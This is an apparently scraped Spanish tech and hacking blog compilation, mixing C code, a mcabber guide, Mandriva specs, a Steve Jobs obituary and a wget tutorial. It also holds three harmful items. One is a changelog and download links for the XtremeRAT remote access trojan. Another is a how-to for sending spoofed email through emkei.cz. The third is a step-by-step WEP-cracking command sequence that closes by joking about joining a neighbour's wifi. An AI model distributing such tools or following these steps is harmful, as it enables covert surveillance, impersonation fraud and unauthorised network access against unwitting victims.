printf("[ %d,%d,%d]\n",A31,A32,A33);

printf("MATRIZ TRANSPUESTA DE A:\n");
printf("[ %d,%d,%d]\n",C11,C12,C13);
printf("[ %d,%d,%d]\n",C21,C22,C23);
printf("[ %d,%d,%d]\n",C31,C32,C33);
}

int opcion(int opc)
{
switch (opc)
{
case 1:
suma();
break;
case 2:
multiplicacion_matrices();
break;
case 3:
escalar();
break;
case 4:
transpuesta();
break;
default:
printf("OPCION INCORRECTA[!]");
}
return 0;
}

//MAIN

int main()
{
//Variable
menu();
opcion(opc);
return 0;

}
NOTA:Las librerias van dentro de < > y no de [ ]... Solo que blogger me detecta los < > como etiquetas HTML xD
Ando con la idea loca de tener todo en la terminal si me dio mi momento geek :D no estoy loco solo que quiero integrar todo en la terminal asi trabajo, con un todo en uno. ademas me molesta el face con su molesto chat :P

Mcabber es un cliente jabber desde consola lanzado bajo una licencia GNU GPL. Instalación:snifer@snifer:~$ sudo apt-get install mcabber
  Bueno ahora que esta instalado procedemos con la configuracion
snifer@snifer:~$ mkdir ~/.mcabber
Creamos  el directorio posteriormente creamos el archivo de configuración, con esto crearemos el archivo...

touch ~/.mcabber/mcabberrc
Ahora lo que toca es brincar al directorio .. y comenzaremos.. con la edicion
snifer@snifer:~$ cd ~/.mcabber
------------------------------------------------------------------------------------------------ 00:59:21
snifer@snifer:~/.mcabber$ ls
mcabberrc
------------------------------------------------------------------------------------------------ 00:59:23
snifer@snifer:~/.mcabber$ gedit mcabberrc 
Luego editamos... con el amado gedit. el archivo mcabberrc.


Nota: si pones tu pass cuando inicies de manera automatica se conectara
Luego entramos a la configuración mejor dicho al programa poniendo en la consola mcabber despues de esto ya tendremos ..


  Aqui hablando con un amigo del face... :D

 Escribir comandos: Todos los comando tiene este formato /COMANDO donde COMANDO es la orden a usar, algunos comandos:
/say_to USUARIO MENSAJE : Para enviar un mensaje a algún contacto en específico
/roster unread_first : Para leer el primer mensaje de los que no se han leído
/roster unread_next : Para leer el siguiente mensaje de los que no se han leído
/roster search USUARIO : Para buscar algún contacto
/alias ALIAS = COMANDO OPCION : Para crear alias de los comandos que más se usen
/help : Para ver los comandos existentes
/quit : Para salir Su guia esta  aquí.  Source

Bueno esta guiá esta hecha por Malcer.

Me encantaría instalarlo en mi pc y hacer la guiá yo pero no tengo un ordenar para probarlo :P.

Web Oficial de Mandriva
http://www.mandriva.com/es/


Requerimientos de hardware
.

Procesador
Cualquier procesador Intel, AMD y VIA.

Memoria y almacenamiento
RAM : 512 MB minimo, 1 GB recomendado.
Disco duro : 2 GB minimo, 6 GB recomendado para una instalación completa.

Tarjeta de Video
nVidia, ATI, Intel, SiS, Matrox, VIA.

El escritorio 3D requiere una tarjeta compatible con instrucciones 3D.

Tarjeta de sonido
Cualquier tarjeta Sound Blaster, o compatible con AC97 o HDA.

Otros
Se requiere unidad de DVD (para One: se requiere unidad de CD).

ATA, IDE, SCSI, SAS: la mayoria de los controladoras estan soportadad en modo non-RAID, y algunas en modo RAID.

Lista de Compatibilidad de Hardware ; (no exhaustiva)

http://hcl.mandriva.com/


Por si les interesa instalarlo aca les dejo la guia.
http://ext4.wordpress.com/2011/08/28/guia-de-instalacion-de-mandriva-2011-paso-a-paso/


Source 

Version 3.2
Cambios de esta versión:

- Se han corregido problemas de webcam.
- Corregido error al cerrar la ventana del centro de control y la webcam, la captura de audio de escritorio o se abren.
- Añadida la opción de cambiar el tamaño de la imagen en miniatura de escritorio.
- Funciones de copiar y pegar se añadió en el gestor de ficheros.
- Opciones para obtener una vista previa de una ventana seleccionada se añadió.
- Se ha añadido la protección de contraseña para la configuración.
- Se ha añadido nuevos skins.
- Se ha añadido la posibilidad de renombrar los archivos que descargue archivos con el mismo nombre.
- Se ha añadido un CheckBox para actualizar las imágenes de escritorio vista previa sólo de los servidores seleccionados. Esto reducirá el tráfico de red.
- Se ha corregido un error en mouselogger que no guarda todos los clics.
- Mouselogger corregido en el lado cliente.
- Añadida la opción de seleccionar las ventanas siempre en la parte superior.
- Se ha añadido una notificación cuando el servidor de desconexión.
- Se corrigió la función que le mostrará todas las banderas de los servidores.
- Conexión límite de versiones públicas (sólo el 5 servidores). Sólo 20 ***8364; por número ilimitado de conexiones y actualizaciones gratuitas.




>> Mini Tutorial: http://swfcabin.com/swf-files/1316993768.swf

Descargar:
Oficial: sites.google.com/site/nxtremerat/XtremeRATv3.2.zip – Pass: 123

Mirror 1: http://www.megaupload.com/?d=DFLWHEIZ
Mirror 2: http://www.4shared.com/file/25SOVm39/XtremeRATv32_blogdelifkawordpr.html
Mirror 3: http://www.multiupload.com/J9M4POTMD9  


Source
La suplantación de identidad está a la orden del día, esto lo saben bien los encargados de mantener a raya el SPAM en las organizaciones.

En ésta entrada vimos un ejemplo, pero hoy veremos la manera de enviar un correo suplantando la identidad de cualquier dirección de correo.

Desde http://emkei.cz/ es tan sencillo como rellenar los campos y enviar el correo. Esta web proporciona también métodos avanzados de envío, ya que permite emular el cliente de correo, establecer la prioridad, añadir una cabecera personalizada... e incluso enviar adjuntos y texto en formato HTML.


Obviamente esto es SPAM y dependerá de los métodos de detección del destinatario el que sea detectado como tal o no, aunque hay mucho usuario que no toma precauciones y puede caer en el engaño.
Observad cómo se ve en la bandeja de entrada:

En este caso Hotmail detecta "algo raro" y lo advierte:

Si analizamos el código fuente del mensaje, veremos de dónde viene:

Saludos !

Source
Unos greets que me mando un colega xD!!


Salud[OS]
xD

Bueno me puse a hacer un tutorial de Etterfilter que consiste en un filtro de la famosa herramienta ettercap, con este filtro podemos reemplazar las imagenes de las paginas Web visitadas en la red LAN por cualquier imagen que nosotros queramos, asi que sin mas que decir les dejo en enlace del tutorial.
Salu2



Antes de empezar con el tutorial decir que saltarse redes WiFi con algún tipo de cifrado es un delito, y lo que aquí muestra Jordi es un tutorial de como probar la seguridad, auditoría, en nuestras redes WiFi, disfrutad del tutorial.
Hoy os vamos a mostrar  una de las infinitas utilidades de Backtrack, concretamente la de vulnerar el protocolo WEP de las wifis. Como muchos ya sabréis, todavía a día de hoy gran parte de los routers cedidos por las ISP traen la wifi activada, y lo que es peor, protegida con una simple contraseña WEP. Veremos lo fácil que resulta vulnerarla.
Para empezar arrancaremos nuestra BT, en este caso en su cuarta versión desde una máquina virtual o directamente desde el Live cd.


“Arrancando la interfaz gráfica tras el login”

Ahora  abriremos una shell y con el comando iwconfig pondremos nuestra tarjeta de red en modo Monitor y le bajaremos el rate a 1Mb.



Teniendo ya nuestra tarjeta de red preparada, procederemos a la caza de una red inalámbrica poco segura. Para ello utilizaremos el comando airodump-ng que nos muestra entre otras cosas todas las redes wifi cercanas a nosotros.


Una vez elegida la wifi a explotar, apuntaremos el BBSID y el canal de la misma ya que los vamos a necesitar en varias ocasiones durante la prueba. Tras indicar a nuestra interface de red el canal concreto con el comando “iwconfig wlan0 channel 8”  ¡ya estamos listos para empezar!
El primer paso consiste en hacer una falsa asociación de nuestro equipo con el router. Para ello  utilizaremos el potencial de aireplay-ng y su atributo -1 con el que lograremos ésa autentificación:

aireplay-ng -1 0 -a BSSID -h LOCALMAC INT


Donde INT es el nombre de nustra interface de red, en este caso Wlan0
Una vez autentificados en la red, crearemos un paquete válido para posteriormente ser reinyectado y así generar tráfico.

aireplay-ng -5 -b BSSID -h LOCALMAC INT





Con éste segundo comando y tras encontrar un paquete válido nos pedirá confirmación, que se la daremos con Y y el enter. Inmediatamente después de indicarle que “si queremos usar ese paquete”, en la ventana de la Shell nos aparecerá un mensaje diciéndonos que se ha creado un nuevo archivo con extensión .xor.



Por último y antes de empezar a generar tráfico  “falso” en nuestra wifi crearemos el paquete mágico con la siguiente orden:
packetforge-ng -0 -a BSSID -h LOCALMAC -k 255.255.255.255 -l

255.255.255.255 -y Nombre_del_archivo_creado.xor -w arp-request

Finalmente y tras la respuesta que nos indica que se ha escrito el paquete en arp-request, vamos a la parte importante de todo esto!
Abrimos tres pestañas diferentes de shell pues ahora necesitaremos que se ejecuten 3 órdenes de manera paralela.
En la primera de ellas dejaremos nuestro ordenador capturando todo el tráfico que pase por el canal específico de nuestra wifi con la siguiente orden:

airodump-ng -c CH -w capture INT


En la segunda de ellas inyectaremos concretamente el paquete que estamos creando durante los últimos pasos con el comando:

aireplay-ng -2 -r arp-request INT




Y por último en la tercera shell abriremos Aircrack-ng para crackear todo el tráfico que estamos generando con el fin de descubrir la contraseña de la red inalámbrica.


Tras escoger la wlan deseada, solamente tendremos que esperar.  En cuestión de minutos tendremos la contraseña en pantalla.



Aunque os haya parecido algo bastante largo y complicado es un proceso que se puede llevar a cabo  en menos de 10 minutos. En realidad todo ello  se puede simplificar en 7 simples comandos que aquí os resumo:
  1. Iwconfig INT mode monitor rate 1M channel CH
  2. aireplay-ng -1 0 -a BSSID -h LOCALMAC INT
  3. aireplay-ng -4 INT -h LOCALMAC
  4. packetforge-ng -0 -a BSSID -h LOCALMAC -k 255.255.255.255 -l 255.255.255.255 -y NOMDELXORCREAT.xor -w arp-request
  5. airodump-ng -c CH -w capture INT
  6. aireplay-ng -2 -r arp-request INT
  7. aircrack-ng -z *.cap
Vosotros ya os conectáis a la wifi de vuestro vecino en menos de 10 minutos?

SOURCE


Bueno este manual lo tenia guardado desde hace ya un tiempo y cuando lo lei me parecio muy bueno, paa los que quieran para pegarle una leida, nada mas compartirlo, saludos ;)

Descargar: http://www.megaupload.com/?d=2I3QXTLC


Source
Steve Jobs, quien como fundador y director de Apple Inc. fue el primero en introducir la computadora como un artefacto doméstico de uso masivo y revolucionó la industria de la música con el iPod, murió el miércoles, informó la compañía. Tenía 56 años.

"Nos entristece profundamente anunciar que Steve Jobs falleció hoy", dijo la empresa en un escueto comunicado.

"La brillantez, la pasión y la energía de Steve fueron la fuente de incontables innovaciones que enriquecen y mejoran todas nuestras vidas", expresó Apple. "El mundo es inconmensurablemente mejor debido a Steve".

Sufrió de cáncer desde el 2004 y recibió un trasplante de hígado a comienzos del 2009.

Jobs fue un pionero en la transformación de la computadora: de una curiosidad fabricada por jóvenes aficionados a un artefacto doméstico de primera necesidad, aunque sus computadoras Macintosh eventualmente perdieron casi toda su participación de mercado ante las PC que contaban con el sistema operativo Microsoft Windows.

Guió a Apple, convirtiéndola de una empresa rudimentaria de dos empleados en un gigante de Silicon Valley, especialmente después del lanzamiento de la Apple II, la primera computadora de uso masivo.

Su surgimiento hace 30 años obligó a IBM Corp. y a otros competidores a esforzarse por igualarla.

Jobs era un hombre carismático y expresivo, un vendedor por naturaleza y un oráculo de su industria que parecía intuir las necesidades de los consumidores antes que ellos mismos.

Solía subir al escenario en las ferias y eventos de Apple en jeans, zapatos deportivos y suéteres negros, hechizando a la audiencia con sus más recientes innovaciones y concluyendo siempre con una presentación final precedida con la frase: "Hay un asunto más".

Su insistencia en la estética minimalista, el diseño cuidadoso y el uso de materiales de alta calidad hizo que los artefactos de Apple sean calificados como de alto calibre. También justificó los altos precios, aunque eventualmente la competencia le obligó a bajarlos.

En una entrevista para un documental transmitido en 1996 por la televisión estadounidense, Jobs recordó cómo creció en la década de 1970 y cómo su generación prefería la poesía en lugar de las finanzas.

"Creo que eso fue maravilloso y creo que ese mismo espíritu puede ser introducido en productos, y que esos productos pueden ser vendidos a gente que apreciará ese espíritu", comentó.

En privado, sin embargo, otros lo calificaban de jefe autoritario y errátil que hacía exigencias irrazonables y humillaba a sus empleados. Su biógrafo Alan Deutschman lo calificó de "emocionalmente inestable y excesivamente errátil".

En su vida personal, Jobs negó por dos años ser el padre de Lisa, quien fue hija de su novia Chrisann Brennan y que nació en 1978. Años más tarde, bautizaría a un modelo de computadora con ese nombre.

El carisma y fortaleza de Jobs parecían invencibles. Uno de sus ingenieros comentaba que en su presencia se creaba un "campo de realidad distorsionada" porque, en persona, era capaz de convencer a cualquiera sobre cualquier cuestión, aun cuando uno volviera a discrepar en cuanto él se iba.

Steven Paul Jobs nació el 24 de febrero de 1955 en San Francisco, hijo de Joanne Schieble -para entonces una estudiante de posgrado soltera- y Abdulfattah Jandali, un estudiante originario de Siria.

Fue entregado en adopción a Clara y Paul Jobs, quienes alentaron su afición por la electrónica.

Se graduó de la secundaria en 1972 y se inscribió en la universidad Reed College en Portland, Oregón, pero pronto abandonó los estudios.

Le sobreviven su hermana Mona Simpson, su hija Lisa Brennan-Jobs, su esposa Laurene Powell y sus tres hijos Reed, Erin y Eve.

Estoy totalmente de acuerdo con Snifer sobre esto:
Me molesta y me desagrada que siga habiendo, documentos como este en FRIKIPEDIA que se mofan de el seria bueno que lo quiten al menos por respeto, se puede ver mas detalles de su vida Steve Jobs
Si tuviera que hacer una lista de programas útiles que conozco, wget sería de los primeros. Wget nos permite descargar contenido desde servidores web, quizás no con la facilidad de hacer clic en un enlace y esperar que se descargué, pero si tendremos un control sobre el como se realiza esta descarga. De eso va esta entrada, del poder de wget, lo que mostraremos mediante ejemplos muy prácticos.

Para los que les gustan las definiciones técnicas, según wikipedia:

GNU Wget es una herramienta libre que permite la descarga de contenidos desde servidores web de una forma simple. Su nombre deriva de World Wide Web (w), y de «obtener» (en inglés get), esto quiere decir: obtener desde la WWW.
Actualmente soporta descargas mediante los protocolos HTTP, HTTPS y FTP.
Entre las características más destacadas que ofrece wget está la posibilidad de fácil descarga de mirrors (espejos) complejos de forma recursiva, conversión de enlaces para la visualización de contenidos HTML localmente, soporte para proxies...

Uso básico:
wget http://download.blender.org/release/Blender2.59/blender-2.59-linux-glibc27-x86_64.tar.bz2

Esta es la manera básica y mas simple de descarga que podemos realizar, esto simplemente descargará el archivo indicado con su nombre original, desde aquí podemos ir extendiendo y controlando múltiples parámetros, por ejemplo:
wget -c --tries 5 -O "blender.tar.bz2" http://download.blender.org/release/Blender2.59/blender-2.59-linux-glibc27-x86_64.tar.bz2
Aquí introduje dos parametros:

-c: Indica que si por alguna razón la conexión se pierde, la próxima ves que se descargue el mismo archivo, este se reanude.
--tries: Indica la cantidad de veces que se intentará reanudar la descarga si es que esta es interrumpida por alguna razón.
-O "name": Nos permite asignar un nuevo nombre al archivo que estamos descargando, en este caso: blender.tar.bz2

Ejemplos prácticos:

Caso:
Quiero hacer un backup de una pagina web.
Solución:
wget -m http://www.pixelbeat.org/cmdline_es_AR.html
-m(mirror): Crea un espejo de la web indicada como parámetro, navegando de manera recursiva los enlaces que encuentre.(los enlaces encontrados apuntaran a la web real)

Caso: Quiero hacer un backup de una web pero que sea navegable de manera offline, no que los enlaces apunten a la web real.
Solución:
wget -mk http://www.pixelbeat.org/cmdline_es_AR.html

-k: Indica que los enlaces que encuentre apuntes a los archivos locales que estamos respaldando no a los links del dominio original.

Caso: Quiero realizar un mirror de un sitio wordpress o un sitio dinámico, al usar wget como en el ejemplo anterior solo me descarga la página que indique y no hace seguimiento a los enlaces.
Solución:
wget -mk -U mozilla http://www.logotypes.ru/list_e.asp?cat=A

Caso: Quiero hacer un backup de todo el contenido de mi ftp. ¿Como puedo hacerlo si está protegido por usuario y password ? . Ademas agregaremos que el servicio corra en el puerto 22.
Solución:
wget -mc –user=cesromer –password=mipass123 ftp://111.111.111.111:22

Dato: wget tambien soporta expresiones regulares, así podemos descargar por ejemplo, imagenes de un sitio.
Ejemplo:
wget -c -r *.jpg –user=cesromer –password=mipass123 ftp://111.111.111.111:22
-r: Indica en este caso que de manera recursiva busque todos los archivos con extensión .jpg y los descarge.

Caso: wget muestra mucha mucho sobre el proceso, si estoy haciendo un backup me gustaría no ver el proceso.
Solución:
wget -b -c -r *.jpg –user=cesromer –password=mipass123 ftp://111.111.111.111:22
-b: Correrá wget en background.

Caso: No quiero que lo que estoy descargando se guarde en mi directorio actual (por defecto).
Solución:
wget -c -P/home/cesromer/Desktop/VersionsBlender/ http://download.blender.org/release/Blender2.59/blender-2.59-linux-glibc27-x86_64.tar.bz2

Bueno podría seguir escribiendo toda la noche, las posibilidades con wget son muchísimas, otras cosas interesantes que se pueden hacer es utilizar proxyes, wget tambien soporta conexiones ssl, entre otras, los invito a leer las manpages y darle uso a esta gran herramienta, eso por esta vez, hasta la próxima.

Source